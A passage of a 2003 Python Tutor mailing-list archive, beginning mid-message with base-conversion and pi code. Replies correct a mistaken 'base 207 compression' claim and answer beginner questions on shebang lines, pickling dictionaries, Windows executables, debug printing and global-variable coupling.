    print y
    print "Length after converting back ", len(y)
    f1.write(pi)
    f2.write(x)
    f1.close()
    f2.close()

def testfact(r1,r2,n):
    f1 = open('fact10.txt','w')
    f2 = open('fact207.txt','w')
    fact1 = fact(n)
    print fact1
    print ""
    x = base(r1,r2,fact1)
    print x
    print len(x)
    y = base(r2,r1,x)
    print y
    f1.write(fact1)
    f2.write(x)
    f1.close()
    f2.close()

def base(r1,r2,num):
    import math
    digits=""
    for j in range(48,255):
          digits = digits + chr(j)
    num = str(num)
    ln  = len(num)
    dec = 0
    for j in range(ln):
          asci = ord(num[j])
          temp   = r1**(ln-j-1)
          ascii2 = asci-48
          dec += ascii2*temp
    RDX = ""
    PWR = math.log(dec)/math.log(r2)
    j = int(PWR)
    while j >= 0:
          Q   = dec/(r2**j)
          dec = dec%(r2**j)
          RDX = RDX + digits[Q]
          j-=1
    return RDX

def pix(n):  # Compute the digits of Pi
    n1 = n*34/10
    m = n+5
    p=d =10**m
    k=1
    while k < n1:
           d = d*k/(k+k+1)
           p = p+d
           k+=1
    p*=2
    p=str(p)
    return p[:n]

def piasn(n):  # My faster version to compute Pi.
    n1=n*7/2+5
    n2=n/2 + 5
    m=n+5
    p=x=10**(m)
    d =1
    while d <= n1:
         x=x*d/(d+1)/4
         p=p+x/(d+2)
         d += 2
    p*=3
    p=str(p)
    return p[:n]

def fact(n):
    f = j = 1
    while j <= n:
            f*=j
            j+=1
    f=str(f)
    return f



------=_NextPart_000_459d_2be6_204a--


From jeff@ccvcorp.com  Thu Jun 26 21:40:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 26 20:40:02 2003
Subject: [Tutor] Re:Base 207 compression algorithm
References: <Law15-F3hS7PFlOHkd400005330@hotmail.com>
Message-ID: <3EFB921A.9000402@ccvcorp.com>

cino hilliard wrote:

> Hi Jeff,
> You are not understanding what my program does. Have you tried it? 
> This bas converter is my
> unique design allowing characters from ascii 48 - 255. So you will get 
> ?? for 255  base 10 to base 16.
> It is a program by Declaration. 


I understand very well what your program does.  You are, however, 
ascribing far more magic to unusual numerical bases than they actually 
possess.  Perhaps if you were to spend a bit of time studying assembly 
language, you'd get a better feel for what's going on here.  I don't 
advocate actually using assembly language to program anything, but some 
exposure to it will give you a much better idea of how your computer 
actually works, even if you just look at 8086 assembler.  For that 
matter, a good exposition of C's variable types and how they work would 
probably benefit you greatly.  You seem to have no grasp of the 
distinction between an integer and a character, and I've tried every 
explanation I can think of with no effect.

> How do you get the size of s = 12345678987654321 in bytes?
> len(str(s)) = 17. Is that correct?


No, it's not.  That's the length of the string of decimal digits that 
represents s, which should be obvious since you explicitly convert s 
into a string before taking its length.  It is *not* the size of s in 
bytes, because s is a (long) integer.  I don't know the details of 
Python longs well enough to calculate the number of bytes that that 
particular number will require;  I do know that every number up to 
sys.maxint (2147483647, or 0x7fffffff -- the high bit is reserved as a 
sign bit) is represented using a C long, i.e. four bytes.  I suspect 
that a Python long representing s, above will require either 8 or 12 bytes.

> how about the size of
> pi=31415926535897932384626433832795028841971693993751058209749445923078164062862089 
>
> 98628034825342117067
> len(str(s)) = 17. Is that correct?
>
>> However, you're not going to have any luck in actually doing any math 
>> with either of these strings.
>
> Sure you can. You convert back to decimal. 


No, because your computer can't do math on a string of decimal digits. 
 It needs to convert that into a binary number somehow before it can do 
math.  And it can *store* it as a binary number a lot more efficiently 
than it can store it as a string of digit characters, no matter what 
encoding scheme you use for those characters.

Like I said, learn how your computer works at the level of registers, 
and how the floating-point unit operates, and you'll understand this a 
bit better.

>> -- you could probably get that much precision in less than a hundred 
>> bytes (probably *much* less), compared to your 2100.
>
> Show me for just 100 digits.
> So you admit I have reduced the file size of 5000 digits of pi to 2100 
> bytes of which I could
> read back into my program and convert back to 5000 digits decimal?
>  (I'm not about  to try to do the math to determine how many 
> floating-point bits
>
> What are you talking about? Floating point goes to 16 digits or so
>
>>>> 355/113.
>>>
> 3.1415929203539825 


Read up on the mathematics behind floating point numbers -- a decent C 
compiler reference should have a fair bit in it about how the compiler 
implements floats.  You're *still* mistaking the representation that 
Python is showing you for the number itself.  I don't remember specifics 
on the numbers of significant digits that are expressible with a 
standard C float or double (I believe that Python floats are implemented 
using C doubles), but that has *nothing* to do with how many digits 
Python shows you.

>> If you really want to show compression, then take an arbitrary string 
>> (say, the contents of your Windows' autoexec.bat or the contents of 
>> your *nix /etc/passwd, or any generic logfile) and show how that can 
>> be expressed in fewer
>
>
> Hello. Why can't I compress strings of numbers? In the world what is 
> there are a lot of numbers.
> The latest record for Pi is 1.24 trillion digits. I will bet these 
> digits are compressed and called from a decompressor. 


Sure, you can "compress" strings of numbers, but if you want to do so in 
a way that is reversible, you'll essentially have to encode each byte 
(which is a number from 0-255) as a separate number, and there is *no 
way* that a computer can represent a unique byte in less than one byte. 
 Compression algorithms are tricky things -- they look for patterns in 
the arrangement of bytes, and then describe those patterns.  This is a 
far more complex task than simply converting a number into a different 
radix.  

And I bet that calculations of Pi *don't* use compression, except 
possibly to store the final result.  But calculations of Pi are a rather 
specialized thing, and I can't recall any program that I've written that 
needed to do that for a practical reason.  For almost all of those, 
math.pi (3.14159265359) is close enough, and if it's not, then I need 
far more precise mathematical capabilities than what I'll get using 
standard Python (or C) math routines.  

At this point, I see no reason to continue this discussion.  I've tried 
explaining, as clearly as I can without breaking out the technical 
manuals, how your computer handles numbers.  Obviously, my explanations 
aren't getting through to you.  I can do no more, so I will not be 
replying further in this thread.

Jeff Shannon
Technician/Programmer
Credit International




From bwinton@latte.ca  Fri Jun 27 00:10:04 2003
From: bwinton@latte.ca (Blake Winton)
Date: Thu Jun 26 23:10:04 2003
Subject: [Tutor] Re:Base 207 compression algorithm
In-Reply-To: <3EFB921A.9000402@ccvcorp.com>
References: <Law15-F3hS7PFlOHkd400005330@hotmail.com> <3EFB921A.9000402@ccvcorp.com>
Message-ID: <20030627030743.GB3243@latte.ca>

* Jeff Shannon <jeff@ccvcorp.com> [030626 20:39]:
> >>However, you're not going to have any luck in actually doing any math 
> >>with either of these strings.
> >Sure you can. You convert back to decimal. 
> No, because your computer can't do math on a string of decimal digits. 
> It needs to convert that into a binary number somehow before it can do 
> math.  And it can *store* it as a binary number a lot more efficiently 
> than it can store it as a string of digit characters, no matter what 
> encoding scheme you use for those characters.

Well, that's not entirely true...
_I_ know how to do arithmatic in decimal.  It's kind of painful,
but it's possible.

i.e.:
def stringPlus( x, y ):
    if len(x) < len(y):
        x = ("0" * (len(y)-len(x))) + x
    elif len(y) < len(x):
        y = ("0" * (len(x)-len(y))) + y

    carry = "0"
    answer = ""
    digitCount = len(x)
    for i in range(digitCount):
        xDigit = x[len(x)-1-i]
        yDigit = y[len(x)-1-i]
        (newDigit, carry) = add( xDigit, yDigit, carry )
        answer = newDigit + answer
    if carry != "0":
        answer = carry + answer
    return answer

def add( x, y, carry ):
    (newDigit,carry) = addTwo( x, y )
    (newDigit,carry) = addTwo( newDigit, carry )
    return (newDigit,carry)

def addTwo( x, y ):
    if x == "0":
        return y,"0"
    elif y == "0":
        return x,"0"
    elif x == "1":
        if y == "1":
            return "2","0"
        if y == "2":
            return "3","0"
        # The rest of this elif left as an exercise for the reader.
    elif x == "2":
        if y == "1":
            return "3","0"
        if y == "2":
            return "4","0"
    elif x == "3":
        if y == "1":
            return "4","0"
        if y == "2":
            return "5","0"
    # Aw, heck, you can fill in the rest of this method too.

if __name__ == "__main__":
    print stringPlus( "123", "11" )

Notice that I didn't even cheat and use "ord" and "chr".  :)

> Like I said, learn how your computer works at the level of registers, 
> and how the floating-point unit operates, and you'll understand this a 
> bit better.

This, of course, is always good advice.

> >So you admit I have reduced the file size of 5000 digits of pi to 2100 

Let me just theorize for a second here on how I might compress
5000 digits of pi.  First, I'm going to assume that those 5000
digits are in base 10.  So, I can get an integer by multiplying
that number by 10^5000.  Follow me?

Here's some code:
>>> # Okay, so I'll approximate pi, so sue me.
>>> x = "3141592654" + "0"*4990
>>> len(x)
5000
>>> y = long(x)
>>> # So now we have pi as a number.  Let's shift it right by a bit.
>>> y >> 16607
1L
>>> # Neat, so we now know that y takes 16607 bits to store.
>>> # Each byte is 8 bits, so we can store y as 16608/8 bytes.
>>> 16608/8
2076

So, the smallest you can store 5000 random digits as is 2076 bytes.
If you try to get it any smaller, you'll need to try and store more
than 8 bits in a byte, and since there are only 8 bits in a byte,
you've got a problem.  Cino, if you want to mail me privately about
this, I would be more than happy to try and explain it further.  But
I think that Jeff's right, and it should really go off-list now.

Later,
Blake.
-- 
 11:04pm  up 42 days, 11:11,  4 users,  load average: 0.00, 0.00, 0.00


From dbroadwell@mindspring.com  Fri Jun 27 01:29:01 2003
From: dbroadwell@mindspring.com (David Broadwell)
Date: Fri Jun 27 00:29:01 2003
Subject: [Tutor] Sharpening the print statement (was:Readlines(longish!))
In-Reply-To: <006001c33c35$1ce7ea80$6401a8c0@xp>
Message-ID: <MBBBKPICGBKFODJNCCLJGECHCKAA.dbroadwell@mindspring.com>

Alan Gauld wisely typed;
> print statements are powerful debugging tools but they are a
> very blunt instrument and can obfuscate as much as they reveal
> if overused.

This is pretty much all snipped to uselessness, but hopefully still
shows the intent of having a easy to change debug 'mode'. This snippet
is from 'pwsdb' a little password file data base I whipped up that
really isn't a database.

>>> start here

mode = 2 # execution mode, see readme. .config?
         # 0 = print nothing, return password, script entry
         # 1 = print error messages
         # 2 = print messages *default
         # 3 = print debug location messages
         # 4 = print logic checking debug messages
         # 5 = print everything, including list and object states

def read(filename,key,command):
   '''
   if (mode >= 3): print "Debug: read(%s, %s, %s)" % (filename, key,
command)
   if (mode >= 2): print readmessage
   if command == "!cli":
      if not filename: filename = getfile(filename)
      if not key: key = hashkey(getkey(key))
   load(filename)
   if key == pwsfile[2]: # if get.hashkey matches load.haskey
      if (mode >= 3): print "Debug: Read; valid file and valid key"
      pwsfile[4] =
crunch(pwsfile[4],pwsfile[2],'decrypt',configdes[2],configdes[0],configdes[3
])
      if (mode >= 1):
         print "Your decrypted password for file %s is %s" % (filename,
pwsfile[4])
      if (mode == 0):
         myexit(pwsfile[4])
      myexit("Success: Password is " + pwsfile[4])
   else:
      myexit("Failure: Bad Key, goodbye.")

>>> enough out of context code ... hope it dosen't kill it with the line
wrapping

Read the comments with each 'mode' setting above, any commentary on the
overall method? (short and long term view)

The style developed as i used print statements to debug but then found i
didn't need them. But after a while of commenting and uncommenting and
commenting and uncommenting and deleteing and retyping and commenting ... I
found a easier way to make a sweeping debug mode ...

--

David Broadwell



From jakieabraham@yahoo.com  Fri Jun 27 03:25:03 2003
From: jakieabraham@yahoo.com (Jacob Abraham)
Date: Fri Jun 27 02:25:03 2003
Subject: [Tutor] Persistent Dictionary Variable
Message-ID: <20030627062434.20826.qmail@web11205.mail.yahoo.com>

Dear Tutors,

   I was wondering if it were possible to create a
dictionary variable look alike string into dictionary
variable using Python. 
   I've used Zope's Object Database to do this, but is
it possible to have a persistent dictionary variable
in a text file or an SQL Database.

>>>a={'key1':[1,2,3],'key2':'value'}
>>>b=str(a)
>>>b
"{'key1':[1,2,3],'key2':'value'}"
>>># b is right now a string how do I convert it back
...into a dictionary variable

(p.s if this is a basic question please forgive my
ignorance)
Thanx,
Jacob Abraham

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From thomi@thomi.imail.net.nz  Fri Jun 27 03:30:02 2003
From: thomi@thomi.imail.net.nz (Thomas CLive Richards)
Date: Fri Jun 27 02:30:02 2003
Subject: [Tutor] Persistent Dictionary Variable
In-Reply-To: <20030627062434.20826.qmail@web11205.mail.yahoo.com>
References: <20030627062434.20826.qmail@web11205.mail.yahoo.com>
Message-ID: <20030627182905.46f7617a.thomi@thomi.imail.net.nz>

If all you're trying to do is store a variable in a file, may i suggest
using the pickle module? you can do something like this:

#b = variable we want to store..
pickle.dump(b,open('file','w'))

this will store variable "b" in file "file"

to load it again:

b = pickle.load(open('file'))

HTH!

-- 

Thomi Richards,
thomi@thomi.imail.net.nz



From greg@gregmchapman.info  Fri Jun 27 11:58:01 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Fri Jun 27 10:58:01 2003
Subject: [Tutor] Good Cause
Message-ID: <JOENINDGJDPMGHODEHKLOELGCCAA.greg@gregmchapman.info>

This was posted on the UserFriendly (www.userfriendly.org) site:

<quote>
A QUESTION, IF I MAY? Is there a UFie out there who happens to be a
pro at Zope and Python? (If you grok Perl and MySQL it helps too) I
have a medium-sized project involving a need for a robust CMS, and I
think Zope fits the bill, but I require a deep tech to help me with
it. There's (not much) money for it, as well as a mittful of UF
goodies and more fame than you can shake a boiled monkey's bum at.
However much that is. Anyway, if you're sure you have the time and
knowledge to help, please drop me a line directly! Usual e-mail addie
can be found in my diary.</quote> [email is illiad@userfriendly.org]

so I thought I'd post it to the list in case anyone might be
interested, or at least to get more python eyeballs to it.

greg




From highrik@ntlworld.com  Fri Jun 27 13:19:01 2003
From: highrik@ntlworld.com (Rick Thomas)
Date: Fri Jun 27 12:19:01 2003
Subject: [Tutor] Shebang problem
Message-ID: <200306271715.59089.highrik@ntlworld.com>

Hi,

I'm very new to programming and am plodding my way through Alan Gauld's book 
'Learn to Program Using Python'.  At present I can't get my programs to 
execute using the Shebang trick.

#!/usr/bin/python

My scripts ran fine when I was using SuSE 7.3 but I've recently upgraded to 
8.3 and wondered if this is somehow the problem.  My scripts run ok  if I type 
for example 'python foo.py' in a terminal.

Any advice would be much appreciated.

Rick Thomas




From walt436@juno.com  Fri Jun 27 13:24:55 2003
From: walt436@juno.com (walt436@juno.com)
Date: Fri Jun 27 12:24:55 2003
Subject: [Tutor] python exe files
Message-ID: <20030627.091041.-1030997.1.walt436@juno.com>

+ + + + + + + + + + + + + + + + + + + + + + + + +

I recently downloaded Python 2.3b1 and am in the process of learning the
language.  So far everything is coming along well (under Win 95).  I
notice that I have four exe files.  They are:

python.exe  -  obviously the language executable

pythonw.exe - what is this???

w9xpopen.exe - what is this???

Unwise.exe - what is this???

Thanks for any replies.

+ + + + + + + + + + + + + + + + + + + + + + + + +

________________________________________________________________
The best thing to hit the internet in years - Juno SpeedBand!
Surf the web up to FIVE TIMES FASTER!
Only $14.95/ month - visit www.juno.com to sign up today!


From tpc@csua.berkeley.edu  Fri Jun 27 13:28:04 2003
From: tpc@csua.berkeley.edu (tpc@csua.berkeley.edu)
Date: Fri Jun 27 12:28:04 2003
Subject: [Tutor] Shebang problem
In-Reply-To: <200306271715.59089.highrik@ntlworld.com>
Message-ID: <20030627092227.Y29461-100000@localhost.name>

What error message is Suse giving you ?  If it is an ImportError you may
want to try:

#!/usr/bin/env python

On Fri, 27 Jun 2003, Rick Thomas wrote:

> Hi,
>
> I'm very new to programming and am plodding my way through Alan Gauld's book
> 'Learn to Program Using Python'.  At present I can't get my programs to
> execute using the Shebang trick.
>
> #!/usr/bin/python
>
> My scripts ran fine when I was using SuSE 7.3 but I've recently upgraded to
> 8.3 and wondered if this is somehow the problem.  My scripts run ok  if I type
> for example 'python foo.py' in a terminal.
>
> Any advice would be much appreciated.
>
> Rick Thomas
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From kalle@lysator.liu.se  Fri Jun 27 13:33:08 2003
From: kalle@lysator.liu.se (Kalle Svensson)
Date: Fri Jun 27 12:33:08 2003
Subject: [Tutor] Shebang problem
In-Reply-To: <200306271715.59089.highrik@ntlworld.com>
References: <200306271715.59089.highrik@ntlworld.com>
Message-ID: <20030627163155.GA3647@i211.ryd.student.liu.se>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[Rick Thomas]
> I'm very new to programming and am plodding my way through Alan
> Gauld's book 'Learn to Program Using Python'.  At present I can't
> get my programs to execute using the Shebang trick.
> 
> #!/usr/bin/python
> 
> My scripts ran fine when I was using SuSE 7.3 but I've recently
> upgraded to 8.3 and wondered if this is somehow the problem.  My
> scripts run ok if I type for example 'python foo.py' in a terminal.

Have you checked the permissions on the files?  They should be
executable (+x) for the user trying to run them.  If the permissions
are right, what error message do you get when trying to run them?
Where is the python executable located (you can get this by running
"type -p python" or "which python")?  Does it work if you have a line
like

  #!/usr/bin/env python

instead?

Peace,
  Kalle
- -- 
Kalle Svensson, http://www.juckapan.org/~kalle/
Student, root and saint in the Church of Emacs.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.8 <http://mailcrypt.sourceforge.net/>

iD8DBQE+/HF2dNeA1787sd0RAtvhAJ9oOcrVxOUvxBQW3bWGBoqO9Yi5rgCgsQVl
7+s8Opjt+gbSPzcYEE2ebnE=
=hN1P
-----END PGP SIGNATURE-----


From abli@freemail.hu  Fri Jun 27 13:35:52 2003
From: abli@freemail.hu (Abel Daniel)
Date: Fri Jun 27 12:35:52 2003
Subject: [Tutor] Shebang problem
In-Reply-To: <200306271715.59089.highrik@ntlworld.com>
References: <200306271715.59089.highrik@ntlworld.com>
Message-ID: <20030627163402.GA3949@hooloovoo>

Rick Thomas wrote:
> 
> Hi,
> 
> I'm very new to programming and am plodding my way through Alan Gauld's book 
> 'Learn to Program Using Python'.  At present I can't get my programs to 
> execute using the Shebang trick.
> 
> #!/usr/bin/python
> 
> My scripts ran fine when I was using SuSE 7.3 but I've recently upgraded to 
> 8.3 and wondered if this is somehow the problem.  My scripts run ok  if I type 
> for example 'python foo.py' in a terminal.
> 
> Any advice would be much appreciated.
Pasting the exact error message would have helped to narrow the problem, but
here are some ideas:

- try 'which python' to find out which program runs when you do
'python foo.py'. That way you can be sure that you are trying to use the
same interpreter in both cases.

- you could try using a '#!/usr/bin/env python' shebang line, which will
more-or-less ensure that you get the same interpreter. (I guess this
won't help if the idea above didn't.)

- check that you have executable permissions on the file.

Abel Daniel


From bgailer@alum.rpi.edu  Fri Jun 27 13:54:26 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Fri Jun 27 12:54:26 2003
Subject: [Tutor] python exe files
In-Reply-To: <20030627.091041.-1030997.1.walt436@juno.com>
Message-ID: <5.2.1.1.0.20030627105027.02762ba0@66.28.54.253>

--=======65D53D4C=======
Content-Type: text/plain; x-avg-checked=avg-ok-43192133; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 09:04 AM 6/27/2003 -0700, walt436@juno.com wrote:

>I recently downloaded Python 2.3b1 and I notice that I have four exe 
>files.  They are:
>
>python.exe  -  obviously the language executable
>
>pythonw.exe - what is this???

python.exe but does not run in a visible DOS box. If you desire user 
interactions you must provide a GUI.

>w9xpopen.exe - what is this???
>
>Unwise.exe - what is this???

Probably the uninstaller.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======65D53D4C=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-43192133
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.492 / Virus Database: 291 - Release Date: 6/24/2003

--=======65D53D4C=======--



From project5@redrival.net  Fri Jun 27 14:52:05 2003
From: project5@redrival.net (Andrei)
Date: Fri Jun 27 13:52:05 2003
Subject: [Tutor] Re: Persistent Dictionary Variable
In-Reply-To: <20030627062434.20826.qmail@web11205.mail.yahoo.com>
References: <20030627062434.20826.qmail@web11205.mail.yahoo.com>
Message-ID: <bdi03v$5e0$1@main.gmane.org>

Jacob Abraham wrote:
<snip>
>>>>a={'key1':[1,2,3],'key2':'value'}
>>>>b=str(a)
>>>>b
> 
> "{'key1':[1,2,3],'key2':'value'}"
> 
>>>># b is right now a string how do I convert it back
> 
> ...into a dictionary variable
> 

You could add at the end of that code:

   b = eval(b)

Note that when using eval, you must be confident the source of the 
string you're going to eval is trustworthy, otherwise Bad Things might 
happen since you're executing code you might not have written yourself.

Andrei

=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From jeff@ccvcorp.com  Fri Jun 27 15:11:08 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun 27 14:11:08 2003
Subject: [Tutor] Persistent Dictionary Variable
References: <20030627062434.20826.qmail@web11205.mail.yahoo.com>
Message-ID: <3EFC8875.7070504@ccvcorp.com>

Jacob Abraham wrote:

>Dear Tutors,
>
>   I was wondering if it were possible to create a
>dictionary variable look alike string into dictionary
>variable using Python. 
>

If I understand what you're looking for, the answer is the shelve 
module.  This puts a dictionary interface on persistent (file-based) 
backend storage.  When you load it, it's (almost) exactly like using a 
dictionary, but it can be conveniently saved to disk for later usage by 
a later invocation of the same (or other, related) program.

 >>> import shelve
 >>> help(shelve)
Help on module shelve:

NAME
    shelve - Manage shelves of pickled objects.

FILE
    c:\python22\lib\shelve.py

DESCRIPTION
    A "shelf" is a persistent, dictionary-like object.  The difference
    with dbm databases is that the values (not the keys!) in a shelf can
    be essentially arbitrary Python objects -- anything that the "pickle"
    module can handle.  This includes most class instances, recursive data
    types, and objects containing lots of shared sub-objects.  The keys
    are ordinary strings.

    [...]

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Fri Jun 27 15:17:08 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun 27 14:17:08 2003
Subject: [Tutor] python exe files
References: <20030627.091041.-1030997.1.walt436@juno.com>
Message-ID: <3EFC89E2.60201@ccvcorp.com>

walt436@juno.com wrote:

>+ + + + + + + + + + + + + + + + + + + + + + + + +
>
>I recently downloaded Python 2.3b1 and am in the process of learning the
>language.  So far everything is coming along well (under Win 95).  I
>notice that I have four exe files.  They are:
>
>python.exe  -  obviously the language executable
>

Yes, this is the (console-based version of the) interpreter

>pythonw.exe - what is this???
>

This is a console-less version of the interpeter -- it's a Windows-style 
app rather than a DOS-style app (as python.exe is).  This means that if, 
for instance, your Python script has a GUI and opens its own windows, 
etc, then you can run it in pythonw.exe and it won't have an ugly and 
otherwise useless DOS box open as well.

>w9xpopen.exe - what is this???
>

This is a little utility program that works around some compatibility 
issues in Windows 9x that are related to os.popen() and its relatives. 
 When you open a pipe (using os.popen(), etc) to an external program 
under Win9x, w9xpopen.exe is used to connect that external program to 
Python.  You won't need to use it directly.

>Unwise.exe - what is this???
>

This is the Wise Installer's uninstall program, and will uninstall 
Python if run.  You won't need to use that either. ;)

Jeff Shannon
Technician/Programmer
Credit International





From alan.gauld@blueyonder.co.uk  Fri Jun 27 16:30:05 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 27 15:30:05 2003
Subject: [Tutor] Sharpening the print statement (was:Readlines(longish!))
References: <MBBBKPICGBKFODJNCCLJGECHCKAA.dbroadwell@mindspring.com>
Message-ID: <000e01c33ce2$7935cbb0$6401a8c0@xp>

> > print statements ... can obfuscate as much as they reveal
> > if overused.
>
> shows the intent of having a easy to change debug 'mode'.

> mode = 2 # execution mode, see readme. .config?
>          # 0 = print nothing, return password, script entry
> ....
>          # 5 = print everything, including list and object states
>
> def read(filename,key,command):
>    '''
>    if (mode >= 3): print "Debug: read(%s, %s, %s)" % (filename, key,
> command)
>    if (mode >= 2): print readmessage
>    if command == "!cli":
>       if not filename: filename = getfile(filename)

Unfortunately I think this tends to reveal the danger of over
using print statements! I have seen this done in C code and it
has the same effect. The best solution I've seen, and even
then I'm still not keen, is as follows:

- create a dictionary of error messages and debug level
  keyed by codeword.
- create a function that reads the dictionary and the
  current debug level.
- call the function with a list of codewords when needed

The above snippet then becomes:

def read(fn, ky, cmd):
    msgLog((params,readmessage))
    if cmd == "!cli":
       ....etc...

This removes all the spurious indentation involved in the if
tests and so maintains the structure of the code and hence
most of its readability while still providing switched error
reporting. But it does take more work to set up and maintain...

> found a easier way to make a sweeping debug mode ...

However fundamentally I'd recommend just using the debugger
for that kind of heaby duty printing, its designed to do it
and is much more controllable. The debugger is the best
"sweeping debug mode" IMHO.

Alan G.



From alan.gauld@blueyonder.co.uk  Fri Jun 27 16:51:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 27 15:51:02 2003
Subject: [Tutor] Global Variable Gotcha
References: <20030624155525.GM17744@johnsons-web.com> <000a01c33ae9$2a8de880$6401a8c0@xp> <20030625165326.GA29059@johnsons-web.com>
Message-ID: <001501c33ce5$8e315180$6401a8c0@xp>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030624 23:24]:
>> All the opther options compromise the solution by building in 
>> undesirable dependencies(coupling).
> 
>  Ah! Here's that word again (coupling) :-) 
>
>  I'm sure it has a pythonic context... Seriously Alan,
>   can you point me to any docs, articles, examples 
>  on this subject (coupling/decoupling) as per python? 

The best description I ever saw was in the book "Using Structured 
Design" by Wayne Stephens (Stephens was one of the 3 guys from IBM
who invented structured design back in 1977).

However a Pythonic example might not be too hard, lets try:

#### Module 1 #####
# creates a global variable used by the function

globvar = 42
def f1()
   if globvar > 25: doSomethingBig()
   else: doSomethingSmall()

#### Module 2 #####
# uses the function in Mod 1

import module1

def f2()
   if module1.globvar == 42:
       doWierdThings()
   else:
       doOrdinaryThings

##### Module 3 #####
# wants to use f2 from mod 2

import module2

module2.f2()

##########################

Now lets consider some problems with the above approach.

1) Module 3 uses module 2 which in turn uses module 1
even though module 3 has no real need of module 1. 
We have required an extra module to be shipped with 
the program that is only needed to provide the 
global variable. Module 3 is "coupled" to module 1 
via module 2.

2) Suppose we actually want all three modules in 
the app, there is still a problem. Because f1() 
and f2() both use globvar to control their behaviour
we cannot safely call f1 and f2 independantly 
without a lot of housekeeping, like this:


oldval = module1.globvar
module1.globvar = theValueIwant

module2.f2()

module1.globvar = oldval

And every time in our module3 that we want to use either 
f1 or f2 we have to keep doing this setting of values and 
resetting to ensure the bahaviour is what we expect, 
just in case some other bit of code changed globvars 
value when we weren't looking.

And it gets worse! Consider that we now write a new function:

def f3()
   # do stuff
   module2.f2()
   # do stuff

NOw we have made f3 depend on module2,module1 and of 
course globvars setting. So now everytime we call any 
of the functions, including our new one we have to go 
through the set/reset protocol above!

Whats the solution? Just pass the test value in as 
an argument to each function. The functions can test 
the parameter and remain completely reusable:

# module1

globvar = 42

def f1(testval):
   if testval > 25:.....

# module 2

def f2(testval):
   if testval == 42: ...

#module3

import module2

module2.f2(theValueIWant)

If I really want to use the module 1 global its no big deal:

import module2,module1

module2.f2(module1.globvar)

But now I am in control, I use a global variable when I 
want and a local when I don't no hideen dependency.
   
Does that make sense?

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld




   



From dyoo@hkn.eecs.berkeley.edu  Fri Jun 27 20:02:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri Jun 27 19:02:01 2003
Subject: [Tutor] Re:Base 207 compression algorithm  [numbers are represented
 as on/off switches]
In-Reply-To: <Law15-F3hS7PFlOHkd400005330@hotmail.com>
Message-ID: <Pine.LNX.4.44.0306271502210.30553-100000@hkn.eecs.berkeley.edu>


On Thu, 26 Jun 2003, cino hilliard wrote:

> You are not understanding what my program does. Have you tried it? This
> bas converter is my unique design allowing characters from ascii 48 -
> 255. So you will get ??  for 255 base 10 to base 16.


Hi Cino,

What Jeff is trying to say is that a single Python character actually must
need to represent a numeric range from 0 to 255: a character in Python is
a "byte", a sequence of eight bits.


What we are seeing on screen, when we say something like:

###
>>> x = 42
>>> x
42
###


is actually misleading, if not an outright lie: it's not how modern
computers store numbers!  Computers don't store them in decimal base ten:
they actually store them in binary base 2.


That is, there is a bit of software that transparently translates the
binary representation of 42,

    42 == 2     +   8     +   32
       == 2**1  +   2**3  +   2**5

and in the computer, this is actually represented as a bunch of switches:


 position:       0      1      2      3      4    5     6     7
 value:         off     on    off     on    off   on   off   off



Anyway, there's a real program out there that just deals with the binary
"on/off" representation of a number, and generates a string that people in
our civilization can read: a programmer had to write this software to turn
something like 00101010 into the string '42' on a computer screen.

It's to the credit of computer designers today that most people don't
realize how stupid computers really are.  *grin*



If you're interested, you can see a sample implementation of what such a
"binary" to "decimal" number stringing function might look like here:

    http://www.linet.gr.jp/~mituiwa/h8/printf-20020909.c

This file contains a set of definitions in the C language for the 'printf'
string formatting function, and several of those functions deals with
taking binary numbers and transforming it into ASCII.  In no sense is your
PC designed to use base ten natively: it's all base two, and programmers
have written software to make it only look like base ten.

(By the way, anyone interested in coding printf in Python?  It would make
a cute Useless Python project.  *grin*)




A long long time ago, some computers did used to store numbers in a
different base system other than binary, but computer architects
eventually agreed to standardize on base two, and now binary computers are
the dominant species on this planet.


If you're interested in the history of how numbers are actually
represented in computers, take a look at:

    http://www2.hursley.ibm.com/decimal/

near the bottom; there's a good set of links on that page that talk about
different base systems.


Another awesome resource is in the book "The Art of Computer Programming".
If you visit your local technical library or bookstore, check out Chapter
Four of that book (it's in Vol 2): you'll can find a heck of a lot of
information on the history of the positional number systems.




Getting back on track: Jeff's point is that your compression scheme makes
a subtle mistake: it is assuming that computers can use an arbitrary base
to represent numbers.  The problem is that every "number" eventually has
to revert to base two to be stored by a computer.  The hardware of today's
modern computers can only represent on/off.


That's where the savings of your compression will evaporate.  You're
seeing:

    computer ---> human ----------> cino's algorithm

    base 2 -----> base 10 --------> base 207



and if this were the end of the story, then yes, your algorithm will save
space.  But you're forgetting that we ultimately have to put this back
into the computer:


    computer ---> human ----------> cino's algorithm --> computer

    base 2 -----> base 10 --------> base 207  ---------> base 2


and it's this invisible translation back to computer representation that
wrecks the savings of your compression scheme.



I hope that made sense.  When we're saying that your scheme won't work,
please don't take it personally!  We are criticizing the technical parts
of the algorithm you described, and not you personally.  Because you
invented the algorithm, though, I can understand if you feel a little
touchy.

